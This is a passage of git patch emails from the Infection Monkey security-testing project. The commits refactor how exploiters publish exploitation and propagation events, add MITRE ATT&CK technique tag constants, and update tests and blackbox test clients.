infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger +from infection_monkey.utils.ids import get_agent_id from . import IAgentBinaryRepository @@ -124,3 +127,39 @@ class HostExploiter: """ powershell = True if "powershell" in cmd.lower() else False self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell}) + + def publish_propagation_event( + self, + target: str, + propagation_success: bool, + exploiter_name: str, + tags: frozenset = frozenset(), + error_message: str = "", + ): + propagation_event = PropagationEvent( + source=get_agent_id(), + target=IPv4Address(target), + success=propagation_success, + exploiter_name=exploiter_name, + error_message=error_message, + tags=tags, + ) + self.agent_event_queue.publish(propagation_event) + + def publish_exploitation_event( + self, + target: str, + exploitation_success: bool, + exploiter_name: str, + tags: frozenset = frozenset(), + error_message: str = "", + ): + exploitation_event = ExploitationEvent( + source=get_agent_id(), + target=IPv4Address(target), + success=exploitation_success, + exploiter_name=exploiter_name, + error_message=error_message, + tags=tags, + ) + self.agent_event_queue.publish(exploitation_event) From 3e86766aaf4863db7b66d291ec74d6bac3821f2b Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 3 Oct 2022 20:20:15 +0000 Subject: [PATCH 004/144] Agent: Use default value for exploiter name --- .../infection_monkey/exploit/HostExploiter.py | 8 +- .../exploit/test_host_exploiter.py | 100 ++++++++++++++++++ 2 files changed, 104 insertions(+), 4 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/test_host_exploiter.py diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 3fe0e4ed3..94fcbe152 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -132,7 +132,7 @@ class HostExploiter: self, target: str, propagation_success: bool, - exploiter_name: str, + exploiter_name: str = "", tags: frozenset = frozenset(), error_message: str = "", ): @@ -140,7 +140,7 @@ class HostExploiter: source=get_agent_id(), target=IPv4Address(target), success=propagation_success, - exploiter_name=exploiter_name, + exploiter_name=exploiter_name or self.__class__.__name__, error_message=error_message, tags=tags, ) @@ -150,7 +150,7 @@ class HostExploiter: self, target: str, exploitation_success: bool, - exploiter_name: str, + exploiter_name: str = "", tags: frozenset = frozenset(), error_message: str = "", ): @@ -158,7 +158,7 @@ class HostExploiter: source=get_agent_id(), target=IPv4Address(target), success=exploitation_success, - exploiter_name=exploiter_name, + exploiter_name=exploiter_name or self.__class__.__name__, error_message=error_message, tags=tags, ) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_host_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_host_exploiter.py new file mode 100644 index 000000000..3f05b4eb9 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_host_exploiter.py @@ -0,0 +1,100 @@ +import threading +from ipaddress import IPv4Address +from unittest.mock import MagicMock +from uuid import UUID + +import pytest + +from common.agent_events import ExploitationEvent, PropagationEvent +from common.event_queue import IAgentEventQueue +from infection_monkey.exploit import IAgentBinaryRepository +from infection_monkey.exploit.HostExploiter import HostExploiter +from infection_monkey.model import VictimHost +from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger + +AGENT_ID = UUID("faaca0a2-6270-46dc-b8c9-592880d6d5cd") +TARGET = IPv4Address("10.10.10.2") +VICTIM_HOST = VictimHost("10.10.10.1") + + +class FakeExploiter(HostExploiter): + _EXPLOITED_SERVICE = "Fake" + + def _exploit_host(self): + pass + + +@pytest.fixture(autouse=True) +def mock_get_agent_id(monkeypatch): + monkeypatch.setattr("infection_monkey.utils.ids", lambda _: AGENT_ID) + + +@pytest.fixture +def agent_binary_repository() -> IAgentBinaryRepository: + return MagicMock(spec=IAgentBinaryRepository) + + +@pytest.fixture +def agent_event_queue() -> IAgentEventQueue: + return MagicMock(spec=IAgentEventQueue) + + +@pytest.fixture +def telemetry_messenger() -> ITelemetryMessenger: + return MagicMock(spec=ITelemetryMessenger) + + +@pytest.fixture +def exploiter() -> HostExploiter: + return FakeExploiter() + + +def test_publish_exploitation_event__uses_exploiter_name_by_default( + exploiter: HostExploiter, + agent_binary_repository: IAgentBinaryRepository, + agent_event_queue: IAgentEventQueue, + telemetry_messenger: ITelemetryMessenger, +): + exploiter.exploit_host( + host=VICTIM_HOST, + servers=[], + current_depth=0, + telemetry_messenger=telemetry_messenger, + agent_event_queue=agent_event_queue, + agent_binary_repository=agent_binary_repository, + options={}, + interrupt=threading.Event(), + ) + exploiter.publish_exploitation_event(target=str(TARGET), exploitation_success=True) + expected_event = ExploitationEvent( + source=AGENT_ID, + target=TARGET, + success=True, + exploiter_name=FakeExploiter.__name__, + ) + + assert agent_event_queue.publish.called_with(expected_event) # type: ignore[attr-defined] + + +def test_publish_propagation_event__uses_exploiter_name_by_default( + exploiter: HostExploiter, + agent_binary_repository: IAgentBinaryRepository, + agent_event_queue: IAgentEventQueue, + telemetry_messenger: ITelemetryMessenger, +): + exploiter.exploit_host( + host=VICTIM_HOST, + servers=[], + current_depth=0, + telemetry_messenger=telemetry_messenger, + agent_event_queue=agent_event_queue, + agent_binary_repository=agent_binary_repository, + options={}, + interrupt=threading.Event(), + ) + exploiter.publish_propagation_event(target=str(TARGET), propagation_success=True) + expected_event = PropagationEvent( + source=AGENT_ID, target=TARGET, success=True, exploiter_name=FakeExploiter.__name__ + ) + + assert agent_event_queue.publish.called_with(expected_event) # type: ignore[attr-defined] From a79d40b42e02bb45359a29488c40842dce20e742 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 3 Oct 2022 20:35:46 +0000 Subject: [PATCH 005/144] UT: Fix powershell tests --- .../unit_tests/infection_monkey/exploit/test_powershell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index e01a545d2..97096830d 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -38,7 +38,7 @@ def powershell_arguments(http_and_https_both_enabled_host): "options": options, "current_depth": 2, "telemetry_messenger": MagicMock(), - "event_queue": MagicMock(), + "agent_event_queue": MagicMock(), "agent_binary_repository": mock_agent_binary_repository, "interrupt": threading.Event(), } From 95b3556cd0042eebc396f4dab3ea4c2f635f801f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Oct 2022 15:34:56 +0200 Subject: [PATCH 006/144] Agent: Exploiter name when publishing events to be __class__.__name__ --- monkey/infection_monkey/exploit/HostExploiter.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 94fcbe152..9490b8706 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -132,7 +132,6 @@ class HostExploiter: self, target: str, propagation_success: bool, - exploiter_name: str = "", tags: frozenset = frozenset(), error_message: str = "", ): @@ -140,7 +139,7 @@ class HostExploiter: source=get_agent_id(), target=IPv4Address(target), success=propagation_success, - exploiter_name=exploiter_name or self.__class__.__name__, + exploiter_name=self.__class__.__name__, error_message=error_message, tags=tags, ) @@ -150,7 +149,6 @@ class HostExploiter: self, target: str, exploitation_success: bool, - exploiter_name: str = "", tags: frozenset = frozenset(), error_message: str = "", ): @@ -158,7 +156,7 @@ class HostExploiter: source=get_agent_id(), target=IPv4Address(target), success=exploitation_success, - exploiter_name=exploiter_name or self.__class__.__name__, + exploiter_name=self.__class__.__name__, error_message=error_message, tags=tags, ) From 8e161f0fd9ee45f8a983234da0793b69a41bd017 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Oct 2022 15:45:41 +0200 Subject: [PATCH 007/144] Agent: Accept tuple as tags to HostExploiter publish events methods --- monkey/infection_monkey/exploit/HostExploiter.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 9490b8706..f910cfa49 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -3,7 +3,7 @@ import threading from abc import abstractmethod from datetime import datetime from ipaddress import IPv4Address -from typing import Dict, Sequence +from typing import Dict, Sequence, Tuple from common.agent_events import ExploitationEvent, PropagationEvent from common.event_queue import IAgentEventQueue @@ -132,7 +132,7 @@ class HostExploiter: self, target: str, propagation_success: bool, - tags: frozenset = frozenset(), + tags: Tuple[str] = tuple(), error_message: str = "", ): propagation_event = PropagationEvent( @@ -141,7 +141,7 @@ class HostExploiter: success=propagation_success, exploiter_name=self.__class__.__name__, error_message=error_message, - tags=tags, + tags=frozenset(tags), ) self.agent_event_queue.publish(propagation_event) @@ -149,7 +149,7 @@ class HostExploiter: self, target: str, exploitation_success: bool, - tags: frozenset = frozenset(), + tags: Tuple[str] = tuple(), error_message: str = "", ): exploitation_event = ExploitationEvent( @@ -158,6 +158,6 @@ class HostExploiter: success=exploitation_success, exploiter_name=self.__class__.__name__, error_message=error_message, - tags=tags, + tags=frozenset(tags), ) self.agent_event_queue.publish(exploitation_event) From b94002a984d7220f84f38d61169c0c1824290d47 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 14:56:57 +0000 Subject: [PATCH 008/144] Agent: Make publish methods private --- monkey/infection_monkey/exploit/HostExploiter.py | 4 ++-- .../infection_monkey/exploit/test_host_exploiter.py | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index f910cfa49..e7dc45080 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -128,7 +128,7 @@ class HostExploiter: powershell = True if "powershell" in cmd.lower() else False self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell}) - def publish_propagation_event( + def _publish_propagation_event( self, target: str, propagation_success: bool, @@ -145,7 +145,7 @@ class HostExploiter: ) self.agent_event_queue.publish(propagation_event) - def publish_exploitation_event( + def _publish_exploitation_event( self, target: str, exploitation_success: bool, diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_host_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_host_exploiter.py index 3f05b4eb9..47d2cb106 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_host_exploiter.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_host_exploiter.py @@ -65,7 +65,7 @@ def test_publish_exploitation_event__uses_exploiter_name_by_default( options={}, interrupt=threading.Event(), ) - exploiter.publish_exploitation_event(target=str(TARGET), exploitation_success=True) + exploiter._publish_exploitation_event(target=str(TARGET), exploitation_success=True) expected_event = ExploitationEvent( source=AGENT_ID, target=TARGET, @@ -92,7 +92,7 @@ def test_publish_propagation_event__uses_exploiter_name_by_default( options={}, interrupt=threading.Event(), ) - exploiter.publish_propagation_event(target=str(TARGET), propagation_success=True) + exploiter._publish_propagation_event(target=str(TARGET), propagation_success=True) expected_event = PropagationEvent( source=AGENT_ID, target=TARGET, success=True, exploiter_name=FakeExploiter.__name__ ) From 116ae90f3dbed1b1f7f739d091e1bd74d3f8fe20 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 16:13:48 +0000 Subject: [PATCH 009/144] UT: Remove host exploiter tests --- .../exploit/test_host_exploiter.py | 100 ------------------ 1 file changed, 100 deletions(-) delete mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/test_host_exploiter.py diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_host_exploiter.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_host_exploiter.py deleted file mode 100644 index 47d2cb106..000000000 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_host_exploiter.py +++ /dev/null @@ -1,100 +0,0 @@ -import threading -from ipaddress import IPv4Address -from unittest.mock import MagicMock -from uuid import UUID - -import pytest - -from common.agent_events import ExploitationEvent, PropagationEvent -from common.event_queue import IAgentEventQueue -from infection_monkey.exploit import IAgentBinaryRepository -from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.model import VictimHost -from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger - -AGENT_ID = UUID("faaca0a2-6270-46dc-b8c9-592880d6d5cd") -TARGET = IPv4Address("10.10.10.2") -VICTIM_HOST = VictimHost("10.10.10.1") - - -class FakeExploiter(HostExploiter): - _EXPLOITED_SERVICE = "Fake" - - def _exploit_host(self): - pass - - -@pytest.fixture(autouse=True) -def mock_get_agent_id(monkeypatch): - monkeypatch.setattr("infection_monkey.utils.ids", lambda _: AGENT_ID) - - -@pytest.fixture -def agent_binary_repository() -> IAgentBinaryRepository: - return MagicMock(spec=IAgentBinaryRepository) - - -@pytest.fixture -def agent_event_queue() -> IAgentEventQueue: - return MagicMock(spec=IAgentEventQueue) - - -@pytest.fixture -def telemetry_messenger() -> ITelemetryMessenger: - return MagicMock(spec=ITelemetryMessenger) - - -@pytest.fixture -def exploiter() -> HostExploiter: - return FakeExploiter() - - -def test_publish_exploitation_event__uses_exploiter_name_by_default( - exploiter: HostExploiter, - agent_binary_repository: IAgentBinaryRepository, - agent_event_queue: IAgentEventQueue, - telemetry_messenger: ITelemetryMessenger, -): - exploiter.exploit_host( - host=VICTIM_HOST, - servers=[], - current_depth=0, - telemetry_messenger=telemetry_messenger, - agent_event_queue=agent_event_queue, - agent_binary_repository=agent_binary_repository, - options={}, - interrupt=threading.Event(), - ) - exploiter._publish_exploitation_event(target=str(TARGET), exploitation_success=True) - expected_event = ExploitationEvent( - source=AGENT_ID, - target=TARGET, - success=True, - exploiter_name=FakeExploiter.__name__, - ) - - assert agent_event_queue.publish.called_with(expected_event) # type: ignore[attr-defined] - - -def test_publish_propagation_event__uses_exploiter_name_by_default( - exploiter: HostExploiter, - agent_binary_repository: IAgentBinaryRepository, - agent_event_queue: IAgentEventQueue, - telemetry_messenger: ITelemetryMessenger, -): - exploiter.exploit_host( - host=VICTIM_HOST, - servers=[], - current_depth=0, - telemetry_messenger=telemetry_messenger, - agent_event_queue=agent_event_queue, - agent_binary_repository=agent_binary_repository, - options={}, - interrupt=threading.Event(), - ) - exploiter._publish_propagation_event(target=str(TARGET), propagation_success=True) - expected_event = PropagationEvent( - source=AGENT_ID, target=TARGET, success=True, exploiter_name=FakeExploiter.__name__ - ) - - assert agent_event_queue.publish.called_with(expected_event) # type: ignore[attr-defined] From ee77eddaabaddb7d534fd307e5fc31c94cf85511 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 17:50:39 +0000 Subject: [PATCH 010/144] Agent: Fix tuple type hint --- monkey/infection_monkey/exploit/HostExploiter.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index e7dc45080..2e0faad36 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -132,7 +132,7 @@ class HostExploiter: self, target: str, propagation_success: bool, - tags: Tuple[str] = tuple(), + tags: Tuple[str, ...] = tuple(), error_message: str = "", ): propagation_event = PropagationEvent( @@ -149,7 +149,7 @@ class HostExploiter: self, target: str, exploitation_success: bool, - tags: Tuple[str] = tuple(), + tags: Tuple[str, ...] = tuple(), error_message: str = "", ): exploitation_event = ExploitationEvent( From bb11ea78579e849cbec0d8b53c229c8785ae37c2 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Oct 2022 16:09:42 +0200 Subject: [PATCH 011/144] Common: Add attack tags --- monkey/common/tags/__init__.py | 6 ++++++ monkey/common/tags/attack.py | 4 ++++ 2 files changed, 10 insertions(+) create mode 100644 monkey/common/tags/__init__.py create mode 100644 monkey/common/tags/attack.py diff --git a/monkey/common/tags/__init__.py b/monkey/common/tags/__init__.py new file mode 100644 index 000000000..fd85dfe54 --- /dev/null +++ b/monkey/common/tags/__init__.py @@ -0,0 +1,6 @@ +from .attack import ( + T1105_ATTACK_TECHNIQUE_TAG, + T1110_ATTACK_TECHNIQUE_TAG, + T1222_ATTACK_TECHNIQUE_TAG, + T1021_ATTACK_TECHNIQUE_TAG, +) diff --git a/monkey/common/tags/attack.py b/monkey/common/tags/attack.py new file mode 100644 index 000000000..e12fdf1ad --- /dev/null +++ b/monkey/common/tags/attack.py @@ -0,0 +1,4 @@ +T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105" +T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110" +T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222" +T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021" From dd35bebb3e98be791a1b1178c1e676fa210b5c45 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Oct 2022 16:23:17 +0200 Subject: [PATCH 012/144] Common: Add T1203 attack technique tag --- monkey/common/tags/__init__.py | 1 + monkey/common/tags/attack.py | 2 ++ 2 files changed, 3 insertions(+) diff --git a/monkey/common/tags/__init__.py b/monkey/common/tags/__init__.py index fd85dfe54..b95f346f1 100644 --- a/monkey/common/tags/__init__.py +++ b/monkey/common/tags/__init__.py @@ -3,4 +3,5 @@ from .attack import ( T1110_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG, + T1203_ATTACK_TECHINQUE_TAG, ) diff --git a/monkey/common/tags/attack.py b/monkey/common/tags/attack.py index e12fdf1ad..d3b724f85 100644 --- a/monkey/common/tags/attack.py +++ b/monkey/common/tags/attack.py @@ -2,3 +2,5 @@ T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105" T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110" T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222" T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021" + +T1203_ATTACK_TECHINQUE_TAG = "attack-t1203" From 8b4af5c3499c95173bd2e55134ef624fa1bade42 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Oct 2022 16:37:01 +0200 Subject: [PATCH 013/144] Common: Fix typo in attack tags --- monkey/common/tags/__init__.py | 2 +- monkey/common/tags/attack.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/common/tags/__init__.py b/monkey/common/tags/__init__.py index b95f346f1..b91ecbeef 100644 --- a/monkey/common/tags/__init__.py +++ b/monkey/common/tags/__init__.py @@ -3,5 +3,5 @@ from .attack import ( T1110_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG, T1021_ATTACK_TECHNIQUE_TAG, - T1203_ATTACK_TECHINQUE_TAG, + T1203_ATTACK_TECHNIQUE_TAG, ) diff --git a/monkey/common/tags/attack.py b/monkey/common/tags/attack.py index d3b724f85..b510d9923 100644 --- a/monkey/common/tags/attack.py +++ b/monkey/common/tags/attack.py @@ -3,4 +3,4 @@ T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110" T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222" T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021" -T1203_ATTACK_TECHINQUE_TAG = "attack-t1203" +T1203_ATTACK_TECHNIQUE_TAG = "attack-t1203" From 6a100105be0ad0598c737094b7a533fa831e1163 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 16:16:50 +0000 Subject: [PATCH 014/144] Common: Order attack tags alphanumerically --- monkey/common/tags/__init__.py | 4 ++-- monkey/common/tags/attack.py | 5 ++--- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/monkey/common/tags/__init__.py b/monkey/common/tags/__init__.py index b91ecbeef..05ebc3894 100644 --- a/monkey/common/tags/__init__.py +++ b/monkey/common/tags/__init__.py @@ -1,7 +1,7 @@ from .attack import ( + T1021_ATTACK_TECHNIQUE_TAG, T1105_ATTACK_TECHNIQUE_TAG, T1110_ATTACK_TECHNIQUE_TAG, - T1222_ATTACK_TECHNIQUE_TAG, - T1021_ATTACK_TECHNIQUE_TAG, T1203_ATTACK_TECHNIQUE_TAG, + T1222_ATTACK_TECHNIQUE_TAG, ) diff --git a/monkey/common/tags/attack.py b/monkey/common/tags/attack.py index b510d9923..83d986a51 100644 --- a/monkey/common/tags/attack.py +++ b/monkey/common/tags/attack.py @@ -1,6 +1,5 @@ +T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021" T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105" T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110" -T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222" -T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021" - T1203_ATTACK_TECHNIQUE_TAG = "attack-t1203" +T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222" From d1a8ce208218ce91baf71d9c23d147ce838e55d6 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 16:39:21 +0000 Subject: [PATCH 015/144] Common: Add T1210 tag --- monkey/common/tags/__init__.py | 1 + monkey/common/tags/attack.py | 1 + 2 files changed, 2 insertions(+) diff --git a/monkey/common/tags/__init__.py b/monkey/common/tags/__init__.py index 05ebc3894..de2ce1956 100644 --- a/monkey/common/tags/__init__.py +++ b/monkey/common/tags/__init__.py @@ -3,5 +3,6 @@ from .attack import ( T1105_ATTACK_TECHNIQUE_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1203_ATTACK_TECHNIQUE_TAG, + T1210_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG, ) diff --git a/monkey/common/tags/attack.py b/monkey/common/tags/attack.py index 83d986a51..e90927a43 100644 --- a/monkey/common/tags/attack.py +++ b/monkey/common/tags/attack.py @@ -2,4 +2,5 @@ T1021_ATTACK_TECHNIQUE_TAG = "attack-t1021" T1105_ATTACK_TECHNIQUE_TAG = "attack-t1105" T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110" T1203_ATTACK_TECHNIQUE_TAG = "attack-t1203" +T1210_ATTACK_TECHNIQUE_TAG = "attack-t1210" T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222" From a07eadce6045d587b30d25686c9b5e09c9399cff Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 18:00:41 +0000 Subject: [PATCH 016/144] Common: Add T1570 attack technique --- monkey/common/tags/__init__.py | 1 + monkey/common/tags/attack.py | 1 + 2 files changed, 2 insertions(+) diff --git a/monkey/common/tags/__init__.py b/monkey/common/tags/__init__.py index de2ce1956..1215408ec 100644 --- a/monkey/common/tags/__init__.py +++ b/monkey/common/tags/__init__.py @@ -5,4 +5,5 @@ from .attack import ( T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG, T1222_ATTACK_TECHNIQUE_TAG, + T1570_ATTACK_TECHNIQUE_TAG, ) diff --git a/monkey/common/tags/attack.py b/monkey/common/tags/attack.py index e90927a43..dbc000d05 100644 --- a/monkey/common/tags/attack.py +++ b/monkey/common/tags/attack.py @@ -4,3 +4,4 @@ T1110_ATTACK_TECHNIQUE_TAG = "attack-t1110" T1203_ATTACK_TECHNIQUE_TAG = "attack-t1203" T1210_ATTACK_TECHNIQUE_TAG = "attack-t1210" T1222_ATTACK_TECHNIQUE_TAG = "attack-t1222" +T1570_ATTACK_TECHNIQUE_TAG = "attack-t1570" From 8e6a098a2e09e9d0a4611c3fa1e067488f32ed60 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 Oct 2022 15:18:12 -0400 Subject: [PATCH 017/144] Project: Add HostExploiter methods to vulture_allowlist.py --- vulture_allowlist.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index a844caddb..0ff6b710d 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -10,6 +10,10 @@ from common.agent_configuration.agent_sub_configurations import ( from common.agent_events import ExploitationEvent, PingScanEvent, PropagationEvent, TCPScanEvent from common.credentials import Credentials, LMHash, NTHash from common.types import NetworkPort +from infection_monkey.exploit.HostExploiter.HostExploiter import ( + _publish_exploitation_event, + _publish_propagation_event, +) from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory from monkey_island.cc.event_queue import IslandEventTopic, PyPubSubIslandEventQueue from monkey_island.cc.models import Report @@ -316,8 +320,8 @@ TCPScanEvent TCPScanEvent.port_status # TODO: Remove once #2269 is close -PropagationEvent -ExploitationEvent +_publish_exploitation_event, +_publish_propagation_event, # pydantic base models underscore_attrs_are_private From 31724334109bc144da59ad4f16edd88d21109577 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 4 Oct 2022 15:19:11 -0400 Subject: [PATCH 018/144] Agent: Swap order of _publish_{propagation,exploitation}_event() Putting _publish_exploitation_event() first puts the methods in both alphabetical and chronological order. --- .../infection_monkey/exploit/HostExploiter.py | 34 +++++++++---------- 1 file changed, 17 insertions(+), 17 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 2e0faad36..915a8c50e 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -128,23 +128,6 @@ class HostExploiter: powershell = True if "powershell" in cmd.lower() else False self.exploit_info["executed_cmds"].append({"cmd": cmd, "powershell": powershell}) - def _publish_propagation_event( - self, - target: str, - propagation_success: bool, - tags: Tuple[str, ...] = tuple(), - error_message: str = "", - ): - propagation_event = PropagationEvent( - source=get_agent_id(), - target=IPv4Address(target), - success=propagation_success, - exploiter_name=self.__class__.__name__, - error_message=error_message, - tags=frozenset(tags), - ) - self.agent_event_queue.publish(propagation_event) - def _publish_exploitation_event( self, target: str, @@ -161,3 +144,20 @@ class HostExploiter: tags=frozenset(tags), ) self.agent_event_queue.publish(exploitation_event) + + def _publish_propagation_event( + self, + target: str, + propagation_success: bool, + tags: Tuple[str, ...] = tuple(), + error_message: str = "", + ): + propagation_event = PropagationEvent( + source=get_agent_id(), + target=IPv4Address(target), + success=propagation_success, + exploiter_name=self.__class__.__name__, + error_message=error_message, + tags=frozenset(tags), + ) + self.agent_event_queue.publish(propagation_event) From 73fbc22e3d20ef9c90670a4837a231e23efd3c0b Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 3 Oct 2022 17:04:27 +0000 Subject: [PATCH 019/144] BB: Remove find_monkeys_in_db --- .../blackbox/island_client/monkey_island_client.py | 12 ++---------- 1 file changed, 2 insertions(+), 10 deletions(-) diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py index bc8115db7..28745b5b8 100644 --- a/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py +++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_client.py @@ -139,14 +139,6 @@ class MonkeyIslandClient(object): LOGGER.error("Failed to reset island mode") assert False - def find_monkeys_in_db(self, query): - if query is None: - raise TypeError - response = self.requests.get( - MONKEY_TEST_ENDPOINT, MonkeyIslandClient.form_find_query_for_request(query) - ) - return MonkeyIslandClient.get_test_query_results(response) - def find_telems_in_db(self, query: dict): if query is None: raise TypeError @@ -186,5 +178,5 @@ class MonkeyIslandClient(object): return json.loads(response.content)["results"] def is_all_monkeys_dead(self): - query = {"dead": False} - return len(self.find_monkeys_in_db(query)) == 0 + agents = self.get_agents() + return all([a.stop_time is not None for a in agents]) From e0c9717da9b1849afd51939f8109e6f529d086a8 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 3 Oct 2022 17:11:37 +0000 Subject: [PATCH 020/144] BB: Update test_compabitiblity to use new api --- envs/os_compatibility/test_compatibility.py | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/envs/os_compatibility/test_compatibility.py b/envs/os_compatibility/test_compatibility.py index f43323e19..b6cb81577 100644 --- a/envs/os_compatibility/test_compatibility.py +++ b/envs/os_compatibility/test_compatibility.py @@ -1,3 +1,6 @@ +from ipaddress import IPv4Address +from typing import Collection + import pytest from envs.monkey_zoo.blackbox.island_client.monkey_island_client import MonkeyIslandClient @@ -40,18 +43,17 @@ def island_client(island): @pytest.mark.usefixtures("island_client") # noinspection PyUnresolvedReferences class TestOSCompatibility(object): - def test_os_compat(self, island_client): + def test_os_compat(self, island_client: MonkeyIslandClient): print() - all_monkeys = island_client.get_all_monkeys_from_db() - ips_that_communicated = [] - for monkey in all_monkeys: - for ip in monkey["ip_addresses"]: - if ip in machine_list: - ips_that_communicated.append(ip) - break + ips_that_communicated = self._get_agent_ips(island_client) for ip, os in machine_list.items(): - if ip not in ips_that_communicated: + if IPv4Address(ip) not in ips_that_communicated: print("{} didn't communicate to island".format(os)) if len(ips_that_communicated) < len(machine_list): assert False + + def _get_agent_ips(self, island_client: MonkeyIslandClient) -> Collection[IPv4Address]: + agents = island_client.get_agents() + machines = island_client.get_machines() + return {i.ip for a in agents for i in machines[a.machine_id].network_interfaces} From 2bea6197862287cd9a72a466d367278ace0c92af Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Mon, 3 Oct 2022 17:13:27 +0000 Subject: [PATCH 021/144] BB: Removed unused method and endpoint --- 